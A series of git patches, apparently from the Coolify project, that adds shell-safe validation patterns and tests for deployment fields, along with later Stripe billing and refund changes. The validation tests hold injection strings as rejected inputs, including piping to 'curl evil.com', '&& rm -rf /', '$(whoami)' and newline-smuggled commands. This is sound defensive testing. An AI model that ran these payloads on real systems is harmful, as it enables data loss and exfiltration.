= '/^[\p{L}\p{M}\p{N}\s\-_.@\/&]+$/u'; /** @@ -23,6 +23,32 @@ class ValidationPatterns */ public const FILE_PATH_PATTERN = '/^\/[a-zA-Z0-9._\-\/~@+]+$/'; + /** + * Pattern for directory paths (base_directory, publish_directory, etc.) + * Like FILE_PATH_PATTERN but also allows bare "/" (root directory) + */ + public const DIRECTORY_PATH_PATTERN = '/^\/([a-zA-Z0-9._\-\/~@+]*)?$/'; + + /** + * Pattern for Docker build target names (multi-stage build stage names) + * Allows alphanumeric, dots, hyphens, and underscores + */ + public const DOCKER_TARGET_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + + /** + * Pattern for shell-safe command strings (docker compose commands, docker run options) + * Blocks dangerous shell metacharacters: ; & | ` $ ( ) > < newlines and carriage returns + * Also blocks backslashes, single quotes, and double quotes to prevent escape-sequence attacks + * Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators) + */ + public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~]+$/'; + + /** + * Pattern for Docker container names + * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores + */ + public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** * Get validation rules for name fields */ @@ -70,7 +96,7 @@ public static function descriptionRules(bool $required = false, int $maxLength = public static function nameMessages(): array { return [ - 'name.regex' => "The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &", + 'name.regex' => 'The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &', 'name.min' => 'The name must be at least :min characters.', 'name.max' => 'The name may not be greater than :max characters.', ]; @@ -105,6 +131,38 @@ public static function filePathMessages(string $field = 'dockerfileLocation', st ]; } + /** + * Get validation rules for directory path fields (base_directory, publish_directory) + */ + public static function directoryPathRules(int $maxLength = 255): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DIRECTORY_PATH_PATTERN]; + } + + /** + * Get validation rules for Docker build target fields + */ + public static function dockerTargetRules(int $maxLength = 128): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DOCKER_TARGET_PATTERN]; + } + + /** + * Get validation rules for shell-safe command fields + */ + public static function shellSafeCommandRules(int $maxLength = 1000): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN]; + } + + /** + * Get validation rules for container name fields + */ + public static function containerNameRules(int $maxLength = 255): array + { + return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN]; + } + /** * Get combined validation messages for both name and description fields */ diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 43c074cd1..ec42761f7 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -101,8 +101,8 @@ function sharedDataApplications() 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', - 'base_directory' => 'string|nullable', - 'publish_directory' => 'string|nullable', + 'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(), + 'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(), 'health_check_enabled' => 'boolean', 'health_check_type' => 'string|in:http,cmd', 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], @@ -125,21 +125,24 @@ function sharedDataApplications() 'limits_cpuset' => 'string|nullable', 'limits_cpu_shares' => 'numeric', 'custom_labels' => 'string|nullable', - 'custom_docker_run_options' => 'string|nullable', + 'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000), + // Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate"). + // Access is gated by API token authentication. Commands run inside the app container, not the host. 'post_deployment_command' => 'string|nullable', - 'post_deployment_command_container' => 'string', + 'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), 'pre_deployment_command' => 'string|nullable', - 'pre_deployment_command_container' => 'string', + 'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), 'manual_webhook_secret_github' => 'string|nullable', 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], - 'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], + 'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(), + 'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(), + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', - 'docker_compose_custom_start_command' => 'string|nullable', - 'docker_compose_custom_build_command' => 'string|nullable', + 'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', ]; } diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index aada339cc..e27eda8b6 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -314,8 +314,8 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
@else
- @if ($buildPack === 'dockerfile' && !$application->dockerfile) - 'production; echo pwned'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in dockerfile_target_build', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => 'builder$(whoami)'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects ampersand injection in dockerfile_target_build', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => 'stage && env'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid target names', function ($target) { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => $target], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']); + + test('runtime validates dockerfile_target_build', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + + // Test that validateShellSafeCommand is also available as a pattern + $pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN; + expect(preg_match($pattern, 'production'))->toBe(1); + expect(preg_match($pattern, 'build; env'))->toBe(0); + expect(preg_match($pattern, 'target`whoami`'))->toBe(0); + }); +}); + +describe('base_directory validation', function () { + test('rejects shell metacharacters in base_directory', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => '/src; echo pwned'], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in base_directory', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => '/dir$(whoami)'], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid base directories', function ($dir) { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => $dir], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['/', '/src', '/backend/app', '/packages/@scope/app']); + + test('runtime validates base_directory via validatePathField', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + + expect($method->invoke($instance, '/src', 'base_directory')) + ->toBe('/src'); + }); +}); + +describe('docker_compose_custom_command validation', function () { + test('rejects semicolon injection in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up; echo pwned'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects pipe injection in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects ampersand chaining in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => 'docker compose build $(whoami)'], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid docker compose commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => $cmd], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'docker compose build', + 'docker compose up -d --build', + 'docker compose -f custom.yml build --no-cache', + ]); + + test('rejects backslash in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects single quotes in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects double quotes in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects newline injection in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects carriage return injection in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('runtime validates docker compose commands', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateShellSafeCommand'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + + expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + + expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command')) + ->toBe('docker compose up -d --build'); + }); +}); + +describe('custom_docker_run_options validation', function () { + test('rejects semicolon injection in custom_docker_run_options', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in custom_docker_run_options', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => '--hostname=$(whoami)'], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid docker run options', function ($opts) { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => $opts], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + '--cap-add=NET_ADMIN --cap-add=NET_RAW', + '--privileged --init', + '--memory=512m --cpus=2', + ]); +}); + +describe('container name validation', function () { + test('rejects shell injection in container name', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['post_deployment_command_container' => 'my-container; echo pwned'], + ['post_deployment_command_container' => $rules['post_deployment_command_container']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid container names', function ($name) { + $rules = sharedDataApplications(); + + $validator = validator( + ['post_deployment_command_container' => $name], + ['post_deployment_command_container' => $rules['post_deployment_command_container']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['my-app', 'nginx_proxy', 'web.server', 'app123']); + + test('runtime validates container names', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateContainerName'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'container; echo pwned')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + + expect($method->invoke($instance, 'my-app')) + ->toBe('my-app'); + }); +}); + +describe('dockerfile_target_build rules survive array_merge in controller', function () { + test('dockerfile_target_build safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged)->toHaveKey('dockerfile_target_build'); + expect($merged['dockerfile_target_build'])->toBeArray(); + expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN); + }); +}); + +describe('docker_compose_custom_command rules survive array_merge in controller', function () { + test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + // After our fix, local no longer contains docker_compose_custom_start_command, + // so the shared regex rule must survive + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['docker_compose_custom_start_command'])->toBeArray(); + expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['docker_compose_custom_build_command'])->toBeArray(); + expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); +}); + describe('API route middleware for deploy actions', function () { test('application start route requires deploy ability', function () { $routes = app('router')->getRoutes(); From 426a708374dc17cef700ba5b90070ce50758f46a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Mar 2026 15:11:19 +0100 Subject: [PATCH 39/51] feat(subscription): display next billing date and billing interval Add current_period_end to refund eligibility checks and display next billing date and billing interval in the subscription overview. Refactor the plan overview layout to show subscription status more prominently. --- app/Actions/Stripe/RefundSubscription.php | 14 +- app/Livewire/Subscription/Actions.php | 10 ++ jean.json | 11 +- .../livewire/subscription/actions.blade.php | 120 ++++++++++-------- .../Subscription/RefundSubscriptionTest.php | 15 +++ 5 files changed, 113 insertions(+), 57 deletions(-) diff --git a/app/Actions/Stripe/RefundSubscription.php b/app/Actions/Stripe/RefundSubscription.php index 021cba13e..512afdb9e 100644 --- a/app/Actions/Stripe/RefundSubscription.php +++ b/app/Actions/Stripe/RefundSubscription.php @@ -19,7 +19,7 @@ public function __construct(?StripeClient $stripe = null) /** * Check if the team's subscription is eligible for a refund. * - * @return array{eligible: bool, days_remaining: int, reason: string} + * @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null} */ public function checkEligibility(Team $team): array { @@ -43,8 +43,10 @@ public function checkEligibility(Team $team): array return $this->ineligible('Subscription not found in Stripe.'); } + $currentPeriodEnd = $stripeSubscription->current_period_end; + if (! in_array($stripeSubscription->status, ['active', 'trialing'])) { - return $this->ineligible("Subscription status is '{$stripeSubscription->status}'."); + return $this->ineligible("Subscription status is '{$stripeSubscription->status}'.", $currentPeriodEnd); } $startDate = \Carbon\Carbon::createFromTimestamp($stripeSubscription->start_date); @@ -52,13 +54,14 @@ public function checkEligibility(Team $team): array $daysRemaining = self::REFUND_WINDOW_DAYS - $daysSinceStart; if ($daysRemaining <= 0) { - return $this->ineligible('The 30-day refund window has expired.'); + return $this->ineligible('The 30-day refund window has expired.', $currentPeriodEnd); } return [ 'eligible' => true, 'days_remaining' => $daysRemaining, 'reason' => 'Eligible for refund.', + 'current_period_end' => $currentPeriodEnd, ]; } @@ -128,14 +131,15 @@ public function execute(Team $team): array } /** - * @return array{eligible: bool, days_remaining: int, reason: string} + * @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null} */ - private function ineligible(string $reason): array + private function ineligible(string $reason, ?int $currentPeriodEnd = null): array { return [ 'eligible' => false, 'days_remaining' => 0, 'reason' => $reason, + 'current_period_end' => $currentPeriodEnd, ]; } } diff --git a/app/Livewire/Subscription/Actions.php b/app/Livewire/Subscription/Actions.php index 2d5392240..33eed3a6a 100644 --- a/app/Livewire/Subscription/Actions.php +++ b/app/Livewire/Subscription/Actions.php @@ -7,6 +7,7 @@ use App\Actions\Stripe\ResumeSubscription; use App\Actions\Stripe\UpdateSubscriptionQuantity; use App\Models\Team; +use Carbon\Carbon; use Illuminate\Support\Facades\Hash; use Livewire\Component; use Stripe\StripeClient; @@ -31,10 +32,15 @@ class Actions extends Component public bool $refundAlreadyUsed = false; + public string $billingInterval = 'monthly'; + + public ?string $nextBillingDate = null; + public function mount(): void { $this->server_limits = Team::serverLimit(); $this->quantity = (int) $this->server_limits; + $this->billingInterval = currentTeam()->subscription?->billingInterval() ?? 'monthly'; } public function loadPricePreview(int $quantity): void @@ -198,6 +204,10 @@ private function checkRefundEligibility(): void $result = (new RefundSubscription)->checkEligibility(currentTeam()); $this->isRefundEligible = $result['eligible']; $this->refundDaysRemaining = $result['days_remaining']; + + if ($result['current_period_end']) { + $this->nextBillingDate = Carbon::createFromTimestamp($result['current_period_end'])->format('M j, Y'); + } } catch (\Exception $e) { \Log::warning('Refund eligibility check failed: '.$e->getMessage()); } diff --git a/jean.json b/jean.json index 402bcd02d..5cd8362d9 100644 --- a/jean.json +++ b/jean.json @@ -1,6 +1,13 @@ { "scripts": { "setup": "cp $JEAN_ROOT_PATH/.env . && mkdir -p .claude && cp $JEAN_ROOT_PATH/.claude/settings.local.json .claude/settings.local.json", + "teardown": null, "run": "docker rm -f coolify coolify-minio-init coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite; spin up; spin down" - } -} \ No newline at end of file + }, + "ports": [ + { + "port": 8000, + "label": "Coolify UI" + } + ] +} diff --git a/resources/views/livewire/subscription/actions.blade.php b/resources/views/livewire/subscription/actions.blade.php index c2bc7f221..6fba0ed83 100644 --- a/resources/views/livewire/subscription/actions.blade.php +++ b/resources/views/livewire/subscription/actions.blade.php @@ -35,44 +35,44 @@ }" @success.window="preview = null; showModal = false; qty = $wire.server_limits" @keydown.escape.window="if (showModal) { closeAdjust(); }" class="-mt-2">

Plan Overview

-
- {{-- Current Plan Card --}} -
-
Current Plan
-
+
+
+ Plan: + @if (data_get(currentTeam(), 'subscription')->type() == 'dynamic') Pay-as-you-go @else {{ data_get(currentTeam(), 'subscription')->type() }} @endif -
-
+ + · {{ $billingInterval === 'yearly' ? 'Yearly' : 'Monthly' }} + · + @if (currentTeam()->subscription->stripe_cancel_at_period_end) + Cancelling at end of period + @else + Active + @endif +
+
+ + Active servers: + {{ currentTeam()->servers->count() }} + / + + paid + + Adjust +
+
+ @if ($refundCheckLoading) + + @elseif ($nextBillingDate) @if (currentTeam()->subscription->stripe_cancel_at_period_end) - Cancelling at end of period + Cancels on {{ $nextBillingDate }} @else - Active - · Invoice - {{ currentTeam()->subscription->stripe_invoice_paid ? 'paid' : 'not paid' }} + Next billing {{ $nextBillingDate }} @endif -
-
- - {{-- Paid Servers Card --}} -
-
Paid Servers
-
-
Click to adjust
-
- - {{-- Active Servers Card --}} -
-
Active Servers
-
- {{ currentTeam()->servers->count() }} -
-
Currently running
+ @endif
@@ -99,9 +99,9 @@ class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-scree x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95" class="relative w-full border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col">
-

Adjust Server Limit

+

Adjust Server Limit

-
Next billing cycle
+
+ Next billing cycle + @if ($nextBillingDate) + · {{ $nextBillingDate }} + @endif +
@@ -155,7 +160,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
- Total / month + Total / {{ $billingInterval === 'yearly' ? 'year' : 'month' }}
@@ -175,7 +180,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg warningMessage="This will update your subscription and charge the prorated amount to your payment method." step2ButtonText="Confirm & Pay"> - + Update Server Limit @@ -194,11 +199,10 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg - {{-- Billing, Refund & Cancellation --}} + {{-- Manage Subscription --}}

Manage Subscription

- {{-- Billing --}} @@ -207,8 +211,13 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg Manage Billing on Stripe +
+
- {{-- Resume or Cancel --}} + {{-- Cancel Subscription --}} +
+

Cancel Subscription

+
@if (currentTeam()->subscription->stripe_cancel_at_period_end) Resume Subscription @else @@ -231,10 +240,18 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg confirmationLabel="Enter your team name to confirm" shortConfirmationLabel="Team Name" step2ButtonText="Permanently Cancel" /> @endif +
+ @if (currentTeam()->subscription->stripe_cancel_at_period_end) +

Your subscription is set to cancel at the end of the billing period.

+ @endif +
- {{-- Refund --}} + {{-- Refund --}} +
+

Refund

+
@if ($refundCheckLoading) - + Request Full Refund @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) + @else + Request Full Refund @endif
- - {{-- Contextual notes --}} - @if ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) -

Eligible for a full refund — {{ $refundDaysRemaining }} days remaining.

- @elseif ($refundAlreadyUsed) -

Refund already processed. Each team is eligible for one refund only.

- @endif - @if (currentTeam()->subscription->stripe_cancel_at_period_end) -

Your subscription is set to cancel at the end of the billing period.

- @endif +

+ @if ($refundCheckLoading) + Checking refund eligibility... + @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) + Eligible for a full refund — {{ $refundDaysRemaining }} days remaining. + @elseif ($refundAlreadyUsed) + Refund already processed. Each team is eligible for one refund only. + @else + Not eligible for a refund. + @endif +

diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php index b6c2d4064..2447a0716 100644 --- a/tests/Feature/Subscription/RefundSubscriptionTest.php +++ b/tests/Feature/Subscription/RefundSubscriptionTest.php @@ -43,9 +43,11 @@ describe('checkEligibility', function () { test('returns eligible when subscription is within 30 days', function () { + $periodEnd = now()->addDays(20)->timestamp; $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => $periodEnd, ]; $this->mockSubscriptions @@ -58,12 +60,15 @@ expect($result['eligible'])->toBeTrue(); expect($result['days_remaining'])->toBe(20); + expect($result['current_period_end'])->toBe($periodEnd); }); test('returns ineligible when subscription is past 30 days', function () { + $periodEnd = now()->addDays(25)->timestamp; $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(35)->timestamp, + 'current_period_end' => $periodEnd, ]; $this->mockSubscriptions @@ -77,12 +82,15 @@ expect($result['eligible'])->toBeFalse(); expect($result['days_remaining'])->toBe(0); expect($result['reason'])->toContain('30-day refund window has expired'); + expect($result['current_period_end'])->toBe($periodEnd); }); test('returns ineligible when subscription is not active', function () { + $periodEnd = now()->addDays(25)->timestamp; $stripeSubscription = (object) [ 'status' => 'canceled', 'start_date' => now()->subDays(5)->timestamp, + 'current_period_end' => $periodEnd, ]; $this->mockSubscriptions @@ -94,6 +102,7 @@ $result = $action->checkEligibility($this->team); expect($result['eligible'])->toBeFalse(); + expect($result['current_period_end'])->toBe($periodEnd); }); test('returns ineligible when no subscription exists', function () { @@ -104,6 +113,7 @@ expect($result['eligible'])->toBeFalse(); expect($result['reason'])->toContain('No active subscription'); + expect($result['current_period_end'])->toBeNull(); }); test('returns ineligible when invoice is not paid', function () { @@ -114,6 +124,7 @@ expect($result['eligible'])->toBeFalse(); expect($result['reason'])->toContain('not paid'); + expect($result['current_period_end'])->toBeNull(); }); test('returns ineligible when team has already been refunded', function () { @@ -145,6 +156,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, ]; $this->mockSubscriptions @@ -205,6 +217,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, ]; $this->mockSubscriptions @@ -229,6 +242,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, ]; $this->mockSubscriptions @@ -255,6 +269,7 @@ $stripeSubscription = (object) [ 'status' => 'active', 'start_date' => now()->subDays(35)->timestamp, + 'current_period_end' => now()->addDays(25)->timestamp, ]; $this->mockSubscriptions From 566744b2e036897fc8200dd3622ba097aff1bf6c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Mar 2026 15:21:59 +0100 Subject: [PATCH 40/51] fix(stripe): add error handling and resilience to subscription operations - Record refunds immediately before cancellation to prevent retry issues if cancel fails - Wrap Stripe API calls in try-catch for refunds and quantity reverts with internal notifications - Add null check in Team.subscriptionEnded() to prevent NPE when subscription doesn't exist - Fix control flow bug in StripeProcessJob (add missing break statement) - Cap dynamic server limit with MAX_SERVER_LIMIT in subscription updates - Add comprehensive tests for refund failures, event handling, and null safety --- app/Actions/Stripe/RefundSubscription.php | 19 ++- .../Stripe/UpdateSubscriptionQuantity.php | 19 ++- app/Jobs/StripeProcessJob.php | 6 +- .../VerifyStripeSubscriptionStatusJob.php | 9 +- app/Models/Team.php | 4 + .../Subscription/RefundSubscriptionTest.php | 50 ++++++ .../Subscription/StripeProcessJobTest.php | 143 ++++++++++++++++++ .../TeamSubscriptionEndedTest.php | 16 ++ .../VerifyStripeSubscriptionStatusJobTest.php | 102 +++++++++++++ 9 files changed, 350 insertions(+), 18 deletions(-) create mode 100644 tests/Feature/Subscription/StripeProcessJobTest.php create mode 100644 tests/Feature/Subscription/TeamSubscriptionEndedTest.php create mode 100644 tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php diff --git a/app/Actions/Stripe/RefundSubscription.php b/app/Actions/Stripe/RefundSubscription.php index 021cba13e..fc8191f5b 100644 --- a/app/Actions/Stripe/RefundSubscription.php +++ b/app/Actions/Stripe/RefundSubscription.php @@ -99,16 +99,27 @@ public function execute(Team $team): array 'payment_intent' => $paymentIntentId, ]); - $this->stripe->subscriptions->cancel($subscription->stripe_subscription_id); + // Record refund immediately so it cannot be retried if cancel fails + $subscription->update([ + 'stripe_refunded_at' => now(), + 'stripe_feedback' => 'Refund requested by user', + 'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(), + ]); + + try { + $this->stripe->subscriptions->cancel($subscription->stripe_subscription_id); + } catch (\Exception $e) { + \Log::critical("Refund succeeded but subscription cancel failed for team {$team->id}: ".$e->getMessage()); + send_internal_notification( + "CRITICAL: Refund succeeded but cancel failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual intervention required." + ); + } $subscription->update([ 'stripe_cancel_at_period_end' => false, 'stripe_invoice_paid' => false, 'stripe_trial_already_ended' => false, 'stripe_past_due' => false, - 'stripe_feedback' => 'Refund requested by user', - 'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(), - 'stripe_refunded_at' => now(), ]); $team->subscriptionEnded(); diff --git a/app/Actions/Stripe/UpdateSubscriptionQuantity.php b/app/Actions/Stripe/UpdateSubscriptionQuantity.php index c181e988d..a3eab4dca 100644 --- a/app/Actions/Stripe/UpdateSubscriptionQuantity.php +++ b/app/Actions/Stripe/UpdateSubscriptionQuantity.php @@ -153,12 +153,19 @@ public function execute(Team $team, int $quantity): array \Log::warning("Subscription {$subscription->stripe_subscription_id} quantity updated but invoice not paid (status: {$latestInvoice->status}) for team {$team->name}. Reverting to {$previousQuantity}."); // 